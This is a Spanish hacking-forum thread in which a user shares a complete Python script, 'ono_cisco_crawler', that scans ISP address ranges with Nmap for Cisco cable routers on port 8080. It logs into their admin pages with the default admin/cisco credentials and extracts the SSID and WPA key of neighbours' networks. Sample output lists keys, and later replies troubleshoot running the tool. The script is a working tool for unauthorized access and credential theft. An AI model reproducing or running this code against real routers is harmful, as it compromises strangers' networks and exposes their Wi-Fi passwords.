elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
27 Mayo 2012, 20:25  


Tema destacado: ¡Aprende hacking con práctica! - WarZone, el wargame de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Wireless (Moderadores: Uxio, pianista, ChimoC, P4nd3m0n1um)
| | |-+  onoXXXXXX Cisco Crawler
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: onoXXXXXX Cisco Crawler  (Leído 6,213 veces)
gorilla.maguila

Desconectado Desconectado

Mensajes: 4


Ver Perfil
onoXXXXXX Cisco Crawler
« en: 16 Noviembre 2011, 23:05 »

Hola gente,

Me he registrado para compartir una herramienta que he programado en python.

El script aprovecha la configuración por defecto de los routers cisco que vienen instalados en los clientes con ssid ONOXXXXXX, donde X son números, y almacena el resultado en un archivo.

Veamos un ejemplo útil:
Mi ISP, ONO en este caso, me ha dado la IP 81.202.10.10 y veo que tengo al alcance un par de redes vecinas ONOXXXXXX, si quiero encontrar el key de las redes, siempre y cuando no se haya cambiado la configuración por defecto del router, usaría:
  
$./ono_cisco_crawler.py --range 81.202.0-20.0-255
$
$SSID=ONO666666-----KEY=saratoga-----IP:81.202.0.1
$SSID=ONO000001-----KEY=********-----IP:81.202.0.2
$SSID=ONO111112-----KEY=TDISDUVW-----IP:81.202.0.3
$SSID=ONO111113-----KEY=EUVZYDXW-----IP:81.202.0.4
$SSID=ONO111114-----KEY=alejalen-----IP:81.202.20.0

Este ejemplo buscaria en el rango 81.202.0.0/81.202.20.255 donde es posible que se encuentren las redes vecinas.El resultado se almacena en el archivo results.txt

El rango de IP's válido es cualquier rango válido para Nmap.


El Código sólo ha sido testeado en linux:

Código:
#!/usr/bin/python


# REQUIERE python3 y python nmap http://xael.org/norman/python/python-nmap/

#  Script que aprovecha la configuración por defecto de los routers cisco de las redes ONOXXXXXX,
#  donde X son números, y almacena el resultado en un archivo.
#  Veamos un ejemplo útil:
#  Mi ISP, ONO en este caso, me ha dado la IP 81.202.10.10 y veo que tengo al alcance un par de redes vecinas
#  ONOXXXXXX, si quiero encontrar el key de las redes, siempre y cuando no se haya cambiado la configuración
#  por defecto del router, usaría:
#  
#  $./ono_cisco_crawler.py --range 81.202.0-20.0-255
#  $
#  $SSID=Jesusillo-----KEY=saratoga-----IP:81.202.0.3
#  $SSID=CHUPAMELADOSVECES-----KEY=********-----IP:81.202.0.2
#  $SSID=ONO111112-----KEY=TDISDUVW-----IP:81.202.0.1
#  $SSID=ONO111113-----KEY=EUVZYDXW-----IP:81.202.11.1
#  $SSID=ONO111114-----KEY=alejalen-----IP:81.202.20.1

#  Este ejemplo buscaria en el rango 81.202.0.0/81.202.20.255 donde es posible que se encuentren
#  las redes vecinas.El resultado se almacena en el archivo results.txt
#  Más opciones:
#  $./ono_cisco_crawler.py -h

###########################################
####USALO BAJO TU RESPONSABILIDAD #########
###########################################

# Author gorilla.maguila@gmail.com

import urllib, urllib.parse, urllib.request, http.client
from urllib.error import HTTPError, URLError
import os, io
import nmap
import sys, socket
import argparse


def hello():
lineList = ["     _______________________________________",
      "    / @Scriptkiddies: USE IT AT YOUR OWN RISK!!  \ ",
               "    |                                            |",
               "    \ Author:         gorilla.maguila@gmail.com  /",              
                "     --------------------------------------- ",
" \   ^__^",
" \  (==)\,_______",
"    (__)\       )\/\ ",
" ||----w |",
" ||     ||"]
for line in lineList:
print(line)

def caveats():
lineList = ["     ___________________________________________",
      "    / Looks like you haven't found many Targets.\ ",
               "    | Try increasing timeout and decreassing    |",
               "    | parallelism!  Example:                    |",
      "    \./ono.py --range *.*.*.* --t 1550m --p 5   /",
               "     -------------------------------------------",
" \   ^__^",
" \  (**)\,_______",
"    (__)\       )\/\ ",
"     U ||----w |",
" ||     ||"]
for line in lineList:
print(line)

#Escaneo de puertos

def scan(range, timeout, parallelism, file):
  
try:
nm = nmap.PortScanner()
host_list = []
user_arguments = '-sT -P0 -p 8080 --host-timeout '+timeout+' --max-parallelism '+parallelism
print("\n\nUsing Nmap Arguments :", user_arguments)
print('Finding Possible Targets..............\n')
#Probamos con un rango de IP's de ONO
nm.scan(hosts=range, arguments=user_arguments)
#hosts_list = [(x, nm[x]['status']['state']) for x in nm.all_hosts()]
#print('\n\nFinding Possible Targets..............\n')
#while nm.still_scanning():
#print("Waiting")
#nm.wait(0)
for host in nm.all_hosts():
if(nm[host]['tcp'][8080]['state'] == 'open'):
print(host)
host_list.append(host)
if (host_list == []):
print("No Suitable hosts Found!")
#sys.exit(0)
else:
if (len(host_list) < 10):
caveats()
print('\nTargets Acquaried!')
print('Let\'s Check Targets....\n')
for x in host_list:
check_url(x,file)
except nmap.PortScannerError:
print('Nmap not found', sys.exc_info()[0])
sys.exit(0)
except:
print("Unexpected error:", sys.exc_info()[0])
sys.exit(0)



#def callback_result(host, scan_result):
#if(state == 'open'):
# if(scan_result['scan'][host]['tcp'][8080]['state'] == 'open'):
# print(host)
 

def check_url(url, file):
  
req = urllib.request.Request("http://"+url+":8080/Docsis_system.asp")
try:
urllib.request.urlopen(req, timeout=5)
except HTTPError as e:
print('HTTP Error:',e.code,"on",url)
print('Skipping!')
except URLError as e:
print('URL Error:',e.reason,"on",url)
print('Skipping!')
except socket.error as e:
print('Socket Error:', e,"on", url)
print('Skipping!')
except (http.client.BadStatusLine):
print('Looks like tcpwrapped port on',url)
print('Skipping!')
else:
try:
#Cogemos el SSID
_url = "http://" + url + ":8080/goform/Docsis_system"
values = {'username_login' : 'admin', 'password_login' : 'cisco','LanguageSelect' : 'en'
, 'Language_Submit' : '0' , 'login' : 'Log+In' }
data = urllib.parse.urlencode(values)
binary_data = data.encode('ascii')
req = urllib.request.Request(_url, binary_data)
resp = urllib.request.urlopen(req, timeout=5)
except HTTPError as e:
print('HTTP Error:',e.code,"on",url)
print('Skipping!')
except URLError as e:
print('URL Error:',e.reason,"on",url)
print('Skipping!')
except socket.error as e:
print('Socket Error:', e,"on", url)
print('Skipping!')
except (http.client.BadStatusLine):
print('Looks like tcpwrapped port on',url)
print('Skipping!')
else:
page = resp.read().decode("utf-8")
if page.find("name=\"ssid\""):
 ###Dirty Dirty please hack (Seguro que hay mejores formas)
 ###Busco dos elementos únicos, los establezco como índices de referencia
 ###para mostrar los posibles tamaños de la SSID, ya que a veces no son fijos
 ###es decir, si se ha cambiado el password a 12345 y esperamos un password de tamaño 8,
 ###mostraríamos 12345 más tres caracteres de código html, por lo que establecems puntos
 ###de referencia para evitarlo. Estoy seguro que hay métodos más elegantes
 
index = page.find("name=\"ssid\"")
count = page.find("Security Mode")
ssid = page[index+19:count-62]
try:
#Cogemos la clave

_url = "http://" + url + ":8080/goform/Quick_setup"
values =  {'Password' : '' , 'PasswordReEnter' : '' , 'setup_wifi_enable' : 'enable','ssid' : ssid, 'security_mode' : 'psk2_mixed',
'wpa_enc' : 'tkip%2Baes',  'wpa_psk_key' : '********' , 'UnhiddenPresharedKey' : '0x01', 'radius_ip_1' : '0', 'radius_ip_2' : '0',
'radius_ip_3' : '0', 'radius_ip_4' : '0', 'keysize' : '64', 'tx_key' : '1', 'h_setup_wifi_enable' : 'enable',
'h_security_mode' : 'psk2_mixed', 'h_wpa_enc' : 'tkip%2Baes', 'UserId' : ''}
data  = urllib.parse.urlencode(values)
binary_data = data.encode('ascii')
req = urllib.request.Request(_url, binary_data)
resp = urllib.request.urlopen(req, timeout=5)
except HTTPError as e:
print('HTTP Error:',e.code,"on",url)
print('Skipping!')
except URLError as e:
print('URL Error:',e.reason,"on",url)
print('Skipping!')
except socket.error as e:
print('Socket Error:', e,"on", url)
print('Skipping!')
except (http.client.BadStatusLine):
print('Looks like tcpwrapped port on',url)
print('Skipping!')
else:
page = resp.read().decode("utf-8")
if page.find("name=\"wpa_psk_key\""):
index = page.find("name=\"wpa_psk_key\"")
count = page.find("<!--radius")
key = page[index+51:count-371]
result = "SSID="+ssid+"-----KEY="+key+"-----IP:"+url
#print("SSID=",ssid,"KEY=",key,"IP:",url)
#Write to file
print(result)
file_io(file,result)

def file_io(file, line):
try:
fout = open(args.file, "a")
fout.write("".join(line)+"\n")
fout.close()
except IOError as errno:
print(errno)


#
#Start
#
if __name__ == '__main__':

parser = argparse.ArgumentParser()
parser.add_argument('--range', dest = 'range', action = 'store',
help = 'Single/Range Ip Address to scan')
parser.add_argument('--t', dest = 'timeout', action = 'store',
default = '200m', help = 'Host timeout during scanning')
parser.add_argument('--p', dest = 'parallelism', action = 'store',
default = '20', help = 'Max parallell host scanned')
parser.add_argument('--w', dest = 'file', action = 'store',
default = 'results.txt', help = 'File output name')
args = parser.parse_args()
if(args.range == None):
print("Usage ./ono_cisco_crawler.py -h for more information")
else:
hello()
scan(args.range, args.timeout, args.parallelism, args.file)


Usadlo con responsabilidad. Espero vuestras sugerencias


« Última modificación: 17 Noviembre 2011, 02:00 por gorilla.maguila » En línea
ChimoC
Por la libertad y contra el terrorismo
Moderador
***
Desconectado Desconectado

Mensajes: 4.776


Paz, dignidad y justicia


Ver Perfil
Re: onoXXXXXX Cisco Crawler
« Respuesta #1 en: 17 Noviembre 2011, 12:21 »

Buenas:

Muchas gracias  ;-)

Le metemos una chincheta  :P

Un saludo

ChimoC


En línea

kjkj2011

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: onoXXXXXX Cisco Crawler
« Respuesta #2 en: 2 Diciembre 2011, 02:30 »

lo he probado en backtrack 5 y no me functiona..por favor ayuda...
En línea
gorilla.maguila

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: onoXXXXXX Cisco Crawler
« Respuesta #3 en: 3 Diciembre 2011, 23:13 »

lo he probado en backtrack 5 y no me functiona..por favor ayuda...

Qué problema tienes?
En línea
kjkj2011

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: onoXXXXXX Cisco Crawler
« Respuesta #4 en: 5 Diciembre 2011, 02:24 »

Qué problema tienes?
Gracias..por responderme...le doy ejecutar en un terminal...se me abre ...y se me cierra en seguida el terminal...por favor si puedes explicar como se usa ...seguro que algo hago mal...
En línea
gorilla.maguila

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: onoXXXXXX Cisco Crawler
« Respuesta #5 en: 6 Diciembre 2011, 01:48 »

Sólo tienes que ejecutar en la consola

Código:
./ono_cisco_crawler -h


Y verás las opciones de uso. Aunque hace unos días que ONO ha capado el puerto 8080 por lo que la herramienta es totalmente inútil. Veremos a ver si ONO continua con el capado general del puerto (todo parece indicar que sí)

Te dejo aquí unas muestras de cuando funcionaba:

http://www.megaupload.com/?d=VMYK10L1

Mira también en  http://foro.seguridadwireless.net/index.php?topic=41472.0, ahí solucioné algunas dudas de uso
En línea
beholdthe


Desconectado Desconectado

Mensajes: 1.501


Ver Perfil
Re: onoXXXXXX Cisco Crawler
« Respuesta #6 en: 14 Diciembre 2011, 20:30 »

Pero si esto ya no funciona, porque sigue teniendo chincheta?????????
En línea
dreKion

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: onoXXXXXX Cisco Crawler
« Respuesta #7 en: 22 Diciembre 2011, 13:06 »

a mi me sigue encontrando algunas :)
En línea
kjkj2011

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: onoXXXXXX Cisco Crawler
« Respuesta #8 en: 30 Diciembre 2011, 23:45 »

se que ya no se puede que el port 8080 esta cerrado..pero por favor que alquien me ayuda...no consigo ejecutar el script in backtrack 5 por favor un video de como hacerlo...y que tengo que tener instalado para ejecutar el script...por favor...me sale eso ile "ono_cisco_crawler.py", line 6
SyntaxError: Non-ASCII character '\xc3' in file ono_cisco_crawler.py on line 6, but no encoding declared; see http://www.python.org/peps/pep-0263.html for details------
por favor ayuda
En línea
gorilla.maguila

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: onoXXXXXX Cisco Crawler
« Respuesta #9 en: 31 Diciembre 2011, 03:26 »

Prueba a añadir después de la linea

#!/usr/bin/python

esta linea:

# coding: utf-8

tal que quede asi:

#!/usr/bin/python
# coding: utf-8
En línea
kjkj2011

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: onoXXXXXX Cisco Crawler
« Respuesta #10 en: 31 Diciembre 2011, 15:56 »

Traceback (most recent call last):
  File "ono_cisco_crawler.py", line 33, in <module>
    import urllib, urllib.parse, urllib.request, http.client
ImportError: No module named parse

por favor ahora me sale ese error...plzzz :huh:
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Cisco Networking Academy (Clases de Cisco desde la misma academia)
Redes
Zibra 5 1,820 Último mensaje 10 Marzo 2012, 23:09
por hanz2008
manual de vb6 by night crawler
Programación Visual Basic
krackwar 0 776 Último mensaje 25 Abril 2008, 21:05
por krackwar
[python] crawler http
Scripting
lnvisible 3 1,150 Último mensaje 23 Abril 2011, 05:55
por lnvisible
diccionarios onoXXXX y onoXXXXXX wpa
Hacking Wireless
beholdthe 6 11,668 Último mensaje 26 Julio 2011, 18:20
por beholdthe
Diccionario para WPA2 ONOXXXXXX
Hacking Wireless
Arístofanes 0 2,549 Último mensaje 2 Enero 2012, 13:58
por Arístofanes
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines